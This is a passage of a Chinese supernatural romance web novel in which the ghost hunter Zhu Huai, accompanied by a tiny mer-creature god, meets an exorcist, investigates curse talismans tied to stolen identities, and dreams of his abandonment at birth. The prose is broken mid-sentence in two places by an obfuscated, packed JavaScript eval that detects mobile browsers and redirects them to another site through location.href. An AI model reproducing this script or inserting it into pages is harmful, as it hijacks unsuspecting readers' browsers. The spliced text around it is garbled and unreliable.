“其他东西我还没有想起来,不过总有一天,我会想起我们曾经经历过的一切,到那个时候,你也别想从我身边逃开。” 听见他的话,诸淮移开视线,可真是够凶的,柳相的这幅脾气,还是跟从前一模一样。 不过,他若是没有骗人的话,那么面前的柳相也跟他一起重生了吗? 这么想想,诸淮心里最后一点顾虑也消失了。 在知晓普通人看不见这幅样子的柳相后,诸淮便将柳相放到了自己的口袋里。 但鲛人却一甩尾巴,有些不快地从里面飞出,化为一道黑影趴在他的肩头,极具占有欲地宣示主权。 解决了女鬼后,诸淮便准备回过头来寻找诸柘等人的踪迹。 然而当他准备回到季嫣所在的病房时,他却看见了几道陌生的身影,听见从其中传来的争执声。 “你说的那个诸淮是谁?” 季嫣的父亲站在房间内低声询问道:“收到你的消息后,我就急忙请了罗大师过来,还请出了针对厉鬼的法器。 你不是说你撞鬼了吗?小嫣,你跟爸爸说实话。” “爸,我说的都是真的,但这件事诸大师已经帮我解决了,我不知道你会请来罗大师。” 季嫣的目光转到另外一人身上,罗大师正站在一旁闭目养神,一点都看不出遇到同行的尴尬。 反倒是季父有些急了:“你这样让罗大师怎么办?这岂不是让他白来一趟吗?” “那玩意那么邪乎,你说你撞鬼了,白安那小子我看过,他是真的断了两条腿。 你说你的腿上有恶鬼留下的印记,但你现在这幅活蹦乱跳的样子,怎么不像是见鬼,更像是脚崴了一跤。” “而且,你说的那位大师年纪轻轻,我从来没有听说过他的名号。” 越说,季父的语气就越有些古怪,他并不是没有见过设局骗财的案例。 像他们这样的富商,想要守住家中财富,又想要逢凶化吉、时来运转,就免不得要接触那些风水大师。 罗大师是季父眼中最可靠的风水师,而季嫣口中的那个诸大师……他是真没听过。 再看着自己女儿这幅坚信不疑的模样,季父慢慢琢磨着前因后果,眼中就渐渐有了一丝异色。 “罗大师,还是请您给小女看一看。” 季父还是请示了身旁的人,他加重音量,罗大师便心知肚明他究竟想要看些什么。 他终于睁开眼睛,眸中灵光一闪,倒显得确实有一丝神异,罗大师说:“她的身上确实有一丝鬼气。” “我就说,他不会骗我的。” 季嫣也好像有了底气似的说道。 “不过,这丝鬼气极淡,季小姐的情况我已经知晓,若真如她所言,那那只可以上身入梦,甚至于操控活人的恶鬼,必定是一只难以折服,需请出法器才能处理的厉鬼。 你们不知晓这些东西有多么难缠,普通的恶鬼是无法做到这些事情的。” 罗大师的话是在肯定季嫣撞见了鬼,但具体撞见的是什么鬼就不一定。 季父听明白了什么,他顿时接茬道:“所以……小嫣遇见的可能根本就不是什么厉鬼,只是一些装神弄鬼的普通把戏?” “或许如此,那位诸大师或许确实是同道中人,但像我们这样的人若是想要设下什么局来,也确实可以做到以假乱真。 我只希望他不要用这样的手段来欺诈普通人,若是能够见见那位道友,我一定会好好地告诫他……” “抱歉,我来晚了。” 一道悦耳的声音响起,罗大师抬起脸,在这个时候才终于发现门外居然有人。 而在他抬起脸的那一刻,诸淮出现在他面前,与此同时出现在罗大师眼中的,还有一道无法直视,不可窥探的身影。 诸淮黑发黑眸,面容俊美,他身形颀长挺拔,就那样站在门前,眼神从罗大师面前扫过,接着说:“我刚刚去处理了那只恶鬼,这才来迟了一步。” “你就是诸大师?” 季父刚想要开口,额头满是冷汗,在一瞬间低下头,不敢直视对方的罗大师就顺着刚刚的话说: “我一定会告诉他,你可真是太棒了!” 诸淮:“?” 11.她偷走了我的人生! “罗大师,您这是什么意思?” 这变脸的速度真是比翻书还快! 一旁的季父险些闪了腰,看得出来,他对于自己辛苦请来的捉鬼大师自然是有一番信任的。 罗英卓已经是季父眼中厉害的不得了的人,他曾亲眼见到对方捉拿了一只厉鬼,而这样厉害的人,却在见到诸淮的那一刻忽然变了脸色。 这意味着什么季父一瞬间便想明白了。 这让季父看着诸淮的眼神有了一些变化,但看着这张如此年轻的脸,季父还是有一丝淡淡的狐疑:难不成真是人不可貌相? 与此同时,自诸淮踏入房间的那一刻,一丝微不可查的淡淡水汽便宛若冰冷的雾色一般笼罩开来。 湿咸的气息刺激着人的感知,罗英卓的额头渗出一点细密的汗水。 他甚至连头都不敢抬,眼神更是直接避开了诸淮所在的区域,仿佛那是一个不可观测的禁区。 刚刚偶然间望见的那一眼,便让这个中年男人近乎失去呼吸,手脚微微发颤起来。 作为普通人的季父和季嫣,永远无法知晓这一刻的罗英卓体会到的是何等意义上的压迫感。 他忽然有股落泪的冲动,他才四十多岁,正值壮年,他真的不想英年早逝。 见面前的罗大师眼神躲闪,一副不敢直视他,特别是不敢直视他肩头身后的样子,诸淮便仿佛猜到了什么。 他一伸手,手指捏了捏坐在自己肩膀上眼神发冷的小鲛人,这才让柳相的眼神恢复正常。 诸淮说:“这么紧张干什么,你也是被请过来捉鬼的是吗? 不过你来晚了一步,这只恶鬼已经被我抓住了。” 说着,诸淮将口袋里的皮偶拿出来展示了一下,罗英卓深吸了一口气:“活偶!” 他在心里惊呼出声,脸上的表情却变得冷静了一些,将恶鬼制成皮偶是柳家人常用的手段,也是他们的独门绝技。 传闻中,柳家的皮偶不仅可以御鬼,也同样可以御人,这么想来,面前这位年轻人必然与柳家有着某种联系,至少也不是无名无姓的危险人物。 “诸先生手段了得,这只恶鬼如此猖狂,来此之前,我还以为要有一番恶斗。 但看见诸先生这番样子,我就知道诸先生的御鬼之术在我之上。” 或许是因为看诸淮很顺眼的原因,罗英卓的语气十分客气,一点都没有白来一趟的不痛快。 不过捉鬼毕竟不是什么轻松的事,能够毫发无伤地解决这些恶鬼已经算得上运道极佳。 罗英卓什么都没做但也拿了礼金,也算不上空手而归。 说完,已经意识到这里不需要他的罗英卓便准备离开,但诸淮却忍不住拦下了他。 难得见到一个活的捉鬼大师,诸淮颇有一种见到珍惜动物的感觉,他有很多问题想要询问对方, 当诸淮挡在他面前的那一刻,罗英卓的心咯噔了一下。 他似乎已经能够隐隐嗅闻到那股湿咸的水腥味,越是靠近对方,就仿佛正在逐渐靠近一个吞没万物的黑洞。 这种生死完全不由自己的感觉几乎闻所未闻,罗大师颤颤巍巍地说:“这位小兄弟,你我无冤无仇,我刚刚多有冒犯,还望包涵……” “这位天师是来捉鬼的对吗?” 诸淮拿出手机,将拍下的诅咒照片给罗英卓看。 诸淮说:“你见过这几张符吗?” 见到是正事,罗英卓才松了一口气。 他退后一步,离诸淮远了一点,好像他身上有着极其恐怖的东西似的。 在拉出一个安全距离后,罗大师才擦了擦额头上的汗,弯下腰费力地看了起来。 诸淮不解的望着站在离他两米远外的罗英卓:““……” 诸淮说:“他为什么站得离我这么远,这样还能好好交流吗?” 殷泉谨慎地回答道:“我觉得他只是想保住自己的命。” 这位罗大师,是一个惜命的人。 罗大师说:“季嫣的情况我已经了解了,那位白安应该就是下咒人。 这些阴符是他在一座庙宇里祭拜的时候得到的,上面拥有恶鬼的标记,可以使得受害者被恶鬼侵蚀。 但恶鬼终究是恶鬼,白安被自己的阴符反噬,他本就福德浅薄,现在更是阴怨缠身,之后的日子注定霉运不断,简而言之……” 罗大师顿了顿,他的眼中没什么怜悯,“就是这家伙喝水都会塞牙缝。” 那白安确实很惨了,听到白安只会越来越倒霉,他就忍不住露出一个怜悯的笑。 “他被反噬是我做的,他要对我的弟弟出手,我不会放过他。” 罗大师眨了眨眼,他的脸上露出一个正直的笑容。 他说:“恶鬼性情暴戾,本就难以控制,我看,就是白安自己害了自己,跟其他人没有什么关系。” 诸淮愣了一瞬,再去看那张看似忠厚的脸时,他就突然从那双眼睛里看出了一点精光。 诸淮又询问道:“你知道这些符咒的来历吗?白安只是普通人,他不可能轻易找到这样的东西。” 罗英卓也陷入沉思,说句实话,他挺乐意为诸淮解说这些小问题,这只是举手之劳,更何况他也是被季父请来的。 他走南闯北,见多识广,但即使如此,罗英卓也确实没有见过这样的符咒。 看着那张清晰的图片,在仔细观察了这张符咒的花纹后,罗英卓像是想起了什么:“我似乎确实有见过。” 他拿起自己随身的包裹,就在里面翻找了起来,诸淮还以为他要取出什么法器,结果罗英卓当着他的面拿出了一部最新款的三折叠手机后,便打开了一个论坛,为诸淮翻出了一个帖子。 看着这样高档潮流上档次的一幕,诸淮的嘴唇动了动。 他忽然想到自己家那个住在深山老林里,从未离开过祖宅,连网线都不拉的祭神似乎才是有些落伍的那一个。 待在柳相身边待得久了,诸淮甚至都以为这些天师和鬼神都应该是远离世俗,不染尘埃的存在。 结果真实情况却只是柳相完全不在乎人类的科技,那家伙才是不正常的那个人。 诸淮低头看去,就看见了一个论坛,里面记录的都是一些五花八门的帖子。 有些看上去像是灵异小说,有些则像是亲身经历一般,以娓娓道来的语气讲述了一个个发生在自己身上的诡异故事。 这其中的东西亦真亦假,甚至连论坛中的人都不确定,他们所看见的那一个个帖子与接触到的那些用户究竟是人是鬼。 而在诸淮面前的帖子则是以第一人称的视角发布的,帖子的标题名为: 【在收到表弟送给我的平安符后,我感觉他抢走了我的人生!】 这个帖子的楼层数极高,但却显示已经封贴,已经不能再留言。 为什么会发生这种情况,是因为这个帖子的楼主早就离世了,在知晓这个消息后,这个帖子中的一切,都变得蒙上一层莫名的诡异气息来。 【lz:我的表弟从小就住在我的家里,他就住在我隔壁的房间里,他叫我哥哥,吃着我家的饭菜,住着我家的房子,却还要来和我抢我的玩具。 lz:他想抢走我的父母,但是他居然真的成功了! lz:在旅游回来后,他回到家,就把自己从庙里求来的平安符送给了我,从那以后,原本是班级第一的我却考试连连失利,成绩下降,被老师约谈。 我长了很多青春痘,镜子里的我看上去变得丑了很多,这不是我的样子,我讨厌这幅样子。 在家里,我的爸爸妈妈居然让我叫他弟弟,拿他当做自己真正的儿子,他长得和我越来越像了,而我自己的脸却变得陌生起来。 我变得越来越不像我自己。 我的声音变得越来越难听,我的歌声开始走调,我无法说话,连最喜欢的歌都再也唱不出来。】 【lz:直到有一天,我发现他居然住进了我的房间里,他在玩我的玩具车,坐在我的床上对我笑,他对我说:哥,你的家真好,我也想留在这里。 lz:我不想要他留在这里,他就是一个寄生虫,现在他不仅要抢走我的房间,抢走我的家人,还要偷走我的人生,这个该死的小偷,居然和我的爸爸妈妈出门旅游,却把我一个人留在家。 lz:我拆开了他给我的符咒,才看见里面写的东西,他居然让我去死,我恨他,我要把他赶出去,但来不及了,一切都已经来不及了……】 看着这一段段触目惊心的文字,诸淮慢慢皱起眉,他翻阅着过往的留言,有人说lz是在哗众取宠,有人说他的故事编的不错,也有人认为是lz自己有问题,他对自己的表弟充满了恶意,或许事实并不是他说的那样,是他在排斥自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215252|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的表弟。 还有人大胆猜测,认为lz是出了什么问题,他或许是有精神分裂症,才会将自己幻想出的人格,认成了那个表弟。 但谁也没有想到的是,lz在留下了那番意味不明的话后就再也没有发过任何帖子,直到很久以后,一个大学生卧轨自杀的新闻闹得沸沸扬扬,才有人将那件事和这个帖子联系了起来。 因为这个lz之前留言,如果他没有成功,那么他就会以这样的方法结束自己的生命。 但最让人意想不到的,却是那之后发生的事。 在他死后,他的一部分信息被公开,所有人这才发现,他根本就没有什么所谓的表弟,因为他自己,才是那个寄住在其他人家里,被一家人排挤的表弟。 而他的表哥则外貌出众,学习优异,父母关爱,仿佛是天生就受尽宠爱的那个幸运儿。 不仅如此,长着那样一张脸的他还拥有一副天籁般的歌喉,凭借着这样优异的条件,他很快便在歌唱节目上一炮而红,成为了一位小有名气的歌手。 只是,他的声音虽然无比动听,但他却无法自己做歌。 他只会唱歌,不会编曲,这样的瑕疵让他只能唱其他人的歌曲,也导致他因为一些版权纠纷而沉寂了一段时间,而直到现在,也还有一些歌迷在继续等待他的声音。 而对于自己表弟的遭遇,他并没有发布太多感想。 这也让许多歌迷夸赞起他的开明,夸赞他拥有善良大方的本性。毕竟,面对一个那样恶毒的人,他还能够原谅对方,不计前嫌地在每年忌日时区探望对方,这难道不说明他心地善良吗? 陆述音,这是他的名字, 看着这个帖子,诸淮的眼神有些变了,一个不可思议的想法在他脑中划过。 他说:“恐怕,这个陆述音,并不是原来的那个陆述音。” 话音刚落,殷泉的声音传来: 【一星任务梦游的人已完成,已解锁新任务。 二星任务鬼换身:这个城市内有许多被夺走人生,夺走一切的人,请你找到他们,并归还属于他们的人生。】 【你已获得奖励:天师录;恭喜你,你完成了任务,你的寿命增加了!】 听到这番话,诸淮的眼神有些变了,他想起之前殷泉对他说过的话。 若要不做任务,那么他会死,而现在完成了任务后,他的寿命增加了,之前殷泉给他的那个小本子原来就是所谓的天师录。 所以这一个个的任务,就是他生命的倒计时啊。 诸淮叹了口气,他接收了任务,感慨道:“真是任重而道远啊。” 殷泉扇着翅膀给他打气:“加油,你可以的!” 还没等诸淮感动一会,它便接着说:“实在不行,你还可以抱你家契主的大腿啊。” 诸淮忍不住回头看了一眼肩头的小鲛人,鲛人从头到尾都在专注地盯着他看,那暗金色的眼珠里只装着他一个人,好像其他的一切都不重要。 有关于鬼换身的资料传入他的脑中,陆述音,又或者说,曾经的那个陆述音,就是已经死去,被占据了身体,被夺走身体的那个人。 除此之外,还有另外一个名字映入诸淮的眼帘,杨言,这个名字并不是什么公众人物,也不是明星或歌手,诸淮一时无从下手。 而如果他没有想错的话,现在被称为杨言的那个人,或许也不是真正的杨言,而是另外一个取代了他,并夺走了他人生的某种东西。 诸淮又翻看了一会论坛,目前看来,这些人身上所发生的一切似乎都和那个符咒有关,那到底是什么东西?又是从何而来的? 他想到了白安,但白安现在却问不出什么了,因为就连白安自己,都早就忘记了手上的符咒从何而来,他就像是落入了自己都无法理解的谜团之中。 实际上,白安早就意识到了这符咒的不对劲,但他的贪婪仍然驱使着他对其他人下手,而他不对季嫣下手的原因,却是在忌惮他的背景。 想了想,诸淮将断腿女鬼的皮偶拿出,然而当他想要询问女鬼有关于符咒的问题时,就算是冒着被撕成碎片,魂飞魄散的危险,它却也是一个字都说不出来。 断腿人偶在诸淮的手中瑟瑟发抖着,见它实在没什么用,诸淮只能把它放回去,之前吓唬他们的时候那么威风,结果轮到要表现的时候,倒是一点都派不上用场了。 12.你是我的,你的床你的家也是我的 诸淮说:“这么看来,或许这个帖子的楼主也和白安一样,因诅咒符而遭遇到了不测。” 而这已经是去年发生的事了,这显然并不是偶然事件,这样的诅咒符显然不在少数。 而一张诅咒符的背后,就相当于会有一个相对应的恶鬼。 普通人在恶鬼面前几乎羸弱地宛若儿童,而谁又能预料到自己收到的平安符中,究竟有没有写着满怀恶意的言语? 这几乎是让人防不胜防的手段,难道普通人就无法应对恶鬼吗? 听到诸淮的疑惑,罗英卓反而有些诧异的样子,他认为诸淮不应该不知晓这些业内的常识。 罗英卓解释道:“你难道不知道吗?普通人的科技手段对恶鬼没有用。” 只有蕴含灵力、拥有法力的东西,才是对付恶鬼的最佳工具。 诸淮所担忧的情况确实存在,但他们已经与恶鬼共存了不知多少年,能够修习道法的人十分稀少,但也并不是对恶鬼毫无反抗之力。 诸淮之前只是普通人,而柳相更是不愿意让他知晓这些事,所以他才始终一无所知。 听完罗英卓的解释后,诸淮才了解到现在的状况,除去捉鬼天师,道佛子弟以外,那些专门狩猎恶鬼,并几乎是此界恶鬼死敌的存在叫做契灵。 契灵在某种程度上,是比鬼怪更加凶戾的怪物,他们拥有人形,本体却颇为可怖。 他们与鬼怪唯一不同的区别是,契灵会庇护普通人,而最强大的契灵,则可以成为祭神,收到家族的供奉。 诸淮忍不住看向自己肩头的小鲛人,鲛人歪着脸看向他,吐出一个小泡泡。 这样看来,他身边的这个家伙,就是一位货真价实的祭神了。 难怪柳家的仆从对祂如此畏惧,又为祂设立了神像,将祂视为整个家族的庇护者,原来柳相的真实身份,本就是家族所信仰的祭神。 “有了祭神与契灵存在,那些妖魔鬼怪才被压制在暗处,而那些从鬼蜮中逃出的恶鬼,则由我们这些天师负责清缴。” 罗英卓的话偏向于官腔,实际上,他也不清楚这其中的隐秘,但他不敢多说些什么,毕竟诸淮的身边就站着一个契灵,他可不敢一时嘴快就丢了自己的小命。 毕竟,那些凶戾的契灵在某种程度上,是比鬼怪更加可怖的东西。 “既然是这样的话,那契子和契妻又是什么呢?” 诸淮终于问出自己心底里的疑惑,从殷泉称呼他为契妻,并说他和柳相是天造地设的完美配偶时,他就一直感到不解。 哪知道这句话一问出来,罗英卓就像是被问住了一般,嘴糊得像是撕都撕不开似的。 “契子和契妻嘛,这……”罗英卓苦笑一声,他说:“我走南闯北这么多年,也没有遇到过那些传说中的契主,更是不清楚这其中的关窍,小兄弟,你还是别为难我了吧。” 诸淮叹息一声,他说:“好吧。” 而在这个时候,诸淮肩头的小鲛人却突然说话了,他的声音悦耳如笙,带着一丝淡淡的水汽,每一句话都像是跳动的音节嬉笑着跃入诸淮的耳中。 他笑着说:“契子是可以与契主签订契约,为其孕育子嗣的存在,是契主的伴侣。” 他慢慢凑近诸淮,湿黏的触感在他的耳侧一闪而过:“而契妻则是最强大的契子,也是祭神的妻子,诸淮,你是我的妻子。” 诸淮偏过头,就看见小鲛人端起一张小脸,在对着他露出高兴的笑,像是含着一块糖似的,鱼尾弹弹地晃动着,看上去有些坏。 诸淮说:“谁是你老婆了?” 他伸出手指,往小鲛人的额头轻轻敲了一下。 柳相冷哼一声,他说:“你不肯承认?” 鲛人眯起眼,一线寒光在他眸中闪烁:“不承认也不行,你就是我的妻子,我就要这么叫你。” “你怎么耍起无赖来了?” 诸淮耳语,他们两个人之间的交流仅有他们可以听见,普通人甚至连柳相都看不见。 而罗英卓则眼观心心观鼻,等到诸淮重新抬起脸时,罗英卓才像是想起了什么似的说:“既然季小姐的事已经处理好了,在下还有其他事,我就先一步离开了。” 说完,罗英卓脚底抹油,就要直接跑路,可能他是真的有很重要的事要忙吧。 在走出医院后,罗英卓才长长地舒了口气。 电话声响起,罗英卓接起电话,一道声音传来:“师傅,您这次出马一定是手到擒来吧?听说季老板出了两百多万的价格才把你请过来,这一次的恶鬼是不是很凶?” “是啊,我这次可算是从鬼门关里走了一趟。”罗英卓摇了摇头,语气中满是庆幸。 电话那头的徒弟有些被吓到了,他小心翼翼地说:“这么凶?师傅,您现在没事吧?您要是死了,那我们该怎么办?” “都说了祸从口出,你怎么天天咒你师傅死,你这臭小子是要气死我啊!”罗英卓对着电话大骂。 见他如此生龙活虎,徒弟们也安心了下来,而他则在平静之后吐出了两个字:“契灵。” 此话一出,所有人都沉默了,罗英卓像是预料到了这一幕,他挂断电话:“回去再说。” 罗英卓站在屋外,最后往门内看了一眼,这一眼却让他冷汗直流,脊背也迅速发凉起来。 在通道尽头的房间里,诸淮所在的区域已经被一团漆黑的浓雾完全笼罩,一道足有三米多高,鱼尾人身,满头黑发铺散在地的身影正站在他的身侧。 从始至终,这可怖的怪物都低低地垂着脑袋,将头凑近自己契妻的身侧,对着他轻轻地笑着,时不时伸出漆黑分叉的舌头,舔着诸淮的眼睛、耳朵,将那片玉白的肌肤舔得湿漉漉的。 在罗英卓的眼中,那身影被黑雾笼罩大半,只能看见那身影的耳侧、脸侧似乎都覆盖着细密的鳞片,正旁若无人地注视着诸淮,对着他亲密无间地说着什么…… 像是感应到了小虫子的窥视,那道身影缓缓扭过头,在那道视线捕捉到他的身影之前,罗英卓便头也不回地狂奔了出去,再也不敢回头多看一眼。 诸淮说:“罗大师怎么走得这么快,我转过头,就看不见他的人影了。” 殷泉梳理着自己软软的绒毛,它好像很在意自己的鳞粉有没有飘落,殷泉说:“可能是真的很忙吧,急着回家吃饭吧。” 在它眼里,进食就是一件很重要的事。 这番话倒也确实有些道理,说到吃饭,忙活了这么久,诸淮也确实有点饿了。 他本来想要在附近随便找一面面馆吃顿饭,这条街上做的最多的就是面馆生意,临近饭点,街上就飘满了牛肉面的香气,热气腾腾的面香十分吸引人。 季父看出了这一点,他当然知晓像诸淮这样的天师是多么难得,又是多么厉害的存在,更别提诸淮是如此的年轻,除非他是一个驻颜有术的老妖怪,像这样年轻的天师可不常见。 作为商人,他自然是不可能放过眼前的贵人,于是季父便极为热情地邀请诸淮吃饭,提出的借口,还是诸淮帮助他的女儿驱鬼,他要好好地答谢对方。 季父作为商场上的老油条,真的热情招待起人来时几乎让人无法推拒,就算是刚刚急着跑路的罗英卓,季父都结清了他的定金,也难怪他能够如此迅速地请来这样一位大师。 在季父的软磨硬泡之下,诸淮终于开口:“好吧,不过其他人应该也饿了,大家一起过来吧。” 在聊天的过程中,季父一直在观察着诸淮的脸,他当然认出了诸淮的模样与顾俞光十分相似,但那位顾俞光却从来没有过这样一位弟弟,所以季父很聪明地没有开口说出这件事。 餐馆的环境很好,一桌子人聚在一起,诸柘战队的所有人都坐在这里,当诸淮过来时,他才看见其他人都心有灵犀地让出了主位。 他明明看上去是很年轻的一张脸,却莫名地与其他人的样子格格不入,像是一瞬间成为了所有人眼中的特殊存在,诸淮并不习惯这种情况,他动了筷子,其他人也才跟着聊起天。 这家店做的脆乳鸽皮如玻璃,即使放久了也不回软,肉质更是软韧弹牙,翅膀尖连骨头都被烤脆了,一口可以直接嚼碎骨头吞下。 神仙鸡软烂脱骨,一抿连皮都要带着酱汁在口中化开,诸淮的厨艺继承自诸莫,甚至于青出于蓝,仅尝了一口就能品出食材的极鲜。 松鼠鱼更是美味极了,至少其他人都在埋头苦吃,诸柘眼睛一亮也捞起了一个猪蹄开啃,季父看着这一幕思索着什么。 诸柘说:“哥,你怎么不吃?这猪蹄做得比老爸还好。” 诸淮说:“确实,如果让老莫过来,他可烧不出这样的成色。” 两个人聊天的内容吸引了季父的注意,他询问道:“家父的厨艺可不能说差,这里请的厨师可是这一片最好的师傅,相信他也一定是一个很懂美食的父亲。” 诸淮笑了笑,他放下筷子对季父说:“我的父亲是一位厨师,他做的菜也很不错,我的厨艺也是跟着他学的。” 厨师?季父的耳朵动了动,他思索着诸淮的背景和家世,一位厨师的儿子成为了天师吗? 他原以为诸淮必然是某个家族的弟子,没想到居然会是这样的背景,但诸淮却并没有隐藏这一点的意思。 吃到一半,诸淮像是想起了什么,他看向自己的肩头,就好像那里有什么东西似的,对着空气忽然说道:“你饿了吗?” “对了,我记得你喜欢吃生肉。” 诸淮接着说,像是在自言自语,柳相仰着小脸看着他,诸淮当然知道柳相喜欢吃什么。 他前世最开始接触柳相时,可是一直在照料对方的。 柳相喜食生肉,若不是场面太过血腥,诸淮甚至怀疑柳相更喜欢生食活物,他不喜欢吃人类的食物,但在诸淮为了做饭后,他才愿意吃诸淮做的东西。 诸淮不确定现在的柳相愿不愿意吃人类的食物,他不愿意在自己吃饭的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233675|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,柳相却在旁边饿着肚子。 诸淮要了一份生肉来,在服务员的疑惑之中,诸淮端起切好的肉丝,接着将其拎起,像是递到了什么东西面前,看着柳相张嘴一点点咀嚼着肉块。 他的嘴巴一鼓一鼓的嚼动着,吃相并不算难看,甚至有些斯文,诸淮看着这一幕忍不住捏了捏他的脸,回过头来,却看见其他人都沉默地停下了手中的动作,却没有一个人敢看向诸淮的方向。 “抱歉,不用管我,我只是觉得他饿了。”诸淮解释道:“他不吃人的。” 沉默,诡异的沉默。 诸柘挠了挠脖子,他犹豫了一下,还是夹起面前的猪蹄继续吃了起来。 反正诸淮是他哥,害!那可是他哥,难道诸淮还能害他吗?别管那些有的没的,有人请客就吃。 季父干咳一声:“诸大师,我想多嘴一句,您豢养的这一位……是那些东西吗?” “当然不是。”诸淮这才意识到他们想歪了,他笑着说:“某种程度上,他才是恶鬼的死敌,有他在,才没有任何恶鬼可以靠近这个地方。” “原来是这样吗。” 此话一出,其他支着耳朵的人这才松了口气,他们是真的不想看见任何跟恶鬼有关的东西了。 只是他们不知道的是,恶鬼的死敌,又怎么不算是更加可怖的怪物呢? “不过,你们还是要小心,这个恶鬼虽然被我除去,但这些诅咒符却还仍然存在。 如果之后见到类似的符咒,就要及时处理,烧毁,绝对不可以轻易接触这些东西。” 诸淮提醒道,单论这句话的价值,就足够季父费心思讨好他了,饭后诸淮带着诸柘离开,无论季父怎么旁敲侧击的请求,诸淮都没有留下联系方式。 “见到我就相当于重新见到那些东西。”诸淮说笑一般:“难道你真的想天天见鬼吗?” “我当然知道请来天师需要昂贵的报酬,只是我跟想要遇到事情时还能有个保障,就像这次……就算花几百万请来罗大师,我也想要我的女儿平安。”季父苦笑着说。 “几百万?”诸淮沉默了,他忽然幽幽地叹了一口气:“要少了。” “诸大师说了什么?”季父没有听清。 “没什么,再见。” 诸淮转头大步离开,他想着罗大师的几百万,又想到自己的十几万,一瞬间,诸淮深呼吸了一口气。 他那块玉就要五万块钱,也就是说,这一次诸淮身上还剩下的报酬,就只有十万。 他带着诸柘回家,好几天没有好好休息一次的诸柘当场就躺到了床上大睡一觉,而诸淮则捧起那只小鲛人,他对上那双金色的眼睛:“你是怎么找到我的?既然来都来了,就不要急着走了,先留在这里吧。” 小鲛人坐在诸淮的掌心,黑曜石般的鱼鳞反射出奢华深邃的光芒,他望着诸淮,忽然张嘴,一口咬住了伸到他面前的手指。 诸淮像是被什么冰冷的东西死死咬住,怎么拔都拔不出来,他收回手,却看见自己的手指上已经有了一圈细细的牙印,不似人类,更像是某种深海捕食者留下的印记。 “坏蛋。”诸淮指着这些痕迹说:“你怎么这么坏啊?” 小鲛人舔了舔唇,他脸上的笑容是完全属于顶级捕食者般,望着自己心爱猎物的猩红笑容。 诸淮气不打一处来,却又拿他没有办法,只能看着小鲛人飞在空中,耀武扬威地摇着尾巴,在房间内巡视一圈,像是在巡视自己的领地。 感受到这个简陋狭小的巢穴内满是属于伴侣的气息后,虽然对领地的大小有些不满,但鲛人也还是坐在诸淮的床上对他说:“我喜欢这个地方,现在它是我的了。” 一回到家就被小鲛人霸占房产的诸淮:“……” 诸淮:“不,这里是我的家。” 他加重了我的两个字。 “你是我的。”小鲛人指了指诸淮,脸上的笑容扩大,隐隐可以看见锋利的弧度:“所以这里也是我的。” 诸淮:“…………” 诸淮:“你今晚去沙发睡。” 小鲛人不满地望着他,对着他张牙舞爪地转了一圈后,就重新落在床上,霸占床、霸占他的被子、霸占他枕头的小混蛋! 诸淮无可奈何,只能在洗漱一番后睡到床上,感受到被窝里挤进一团冷冰冰的东西,用力贴在他的肌肤上。 他感到一丝熟悉的睡意,就像是从前睡在柳家祖宅,睡在柳相身边一般,被那股清新的香气包裹着,他感受到一股无法形容的安全感。 即使现在睡在他身边的,才是某种程度上最恐怖的怪物,但被这样纯粹的黑暗包裹,却也是安全的,因为除此之外,不可能有任何东西来侵扰他。 “睡吧。”有什么人将他抱进怀里,轻轻吻了吻他的额头:“那些东西或许会来报复你,不过别担心,有我在。” 这短短的几个字带来了无尽的安心感,诸淮闭上眼睛,终于沉沉睡了过去。 13.摸了我的头发就要当我老婆 诸淮做了一个梦。 他梦到了前世的生活,重生前的他在这个时候,刚刚被顾家人找到,上演了一出意外认亲的把戏,诸淮一开始并不承认这两位所谓的亲生父母。 这又不是在拍电影,丢了二十多年的孩子被突然找到,就抛弃自己的养父母投奔亲人,这可能吗? 更何况,诸淮可清晰地记着,曾经的自己并不是意外走失,而是被故意遗弃的。 都说人到三岁才开智,顾家人认为诸淮肯定记不清自己刚出生那几年时发生的事,但诸淮却记得一清二楚:他是被自己的亲生父母故意遗弃的。 为了将此事糊弄过去,他们甚至还不知道从哪里抱来了一个孩子,和诸淮做了替换。 诸淮并不知晓他们为什么要那么做,但却隐约猜中了一部分的原因。 因为刚出生的诸淮根本不是现在这幅体魄强健到可以去跑马拉松的模样,那个怀着顾父顾母全部期望出生的孩子,是一个羸弱至极,仿佛下一秒就会一命呜呼的早产儿。 当初的顾母在看见自己孩子的那一刻,她全部的希望就在自己眼前破灭开来,以至于她几乎有些崩溃了:“这怎么可能?为什么会是个这么羸弱的孩子,为什么会这样?” “一定还有其他办法的。”顾父在旁边说:“我们可以再生一个,我们可以先把这个孩子养大。” “不,来不及了,你赔我妹妹的命。”顾母几乎嚎啕大哭起来:“那是我唯一的妹妹啊。” 这个孩子刚刚出生,便是一副疾病缠身,羸弱不堪的早夭之相,他细细地哭着,像小猫似的,仿佛下一秒就会咽了气,在这样的情况下,却没有一个人在意他的死活。 顾母不停地哭着,那副梨花带雨的模样显得那样可怜,然而她抱着自己的孩子,却是哭着喊着,要顾父还她妹妹的命来。 她的这幅样子与他找到诸淮时的场景一模一样,她扑到诸淮的面前,便是低声啜泣起来,红着眼睛对他说:“我的孩子,我苦命的孩子……” 她看着诸淮,眼中满是惊喜和热切:“你居然还活着,还长得这么健康……你果然是我的孩子。” 然而站在她面前的诸淮脸上却始终没有任何表情,诸淮说:“别哭了,其实我早就知道我们的关系了。” 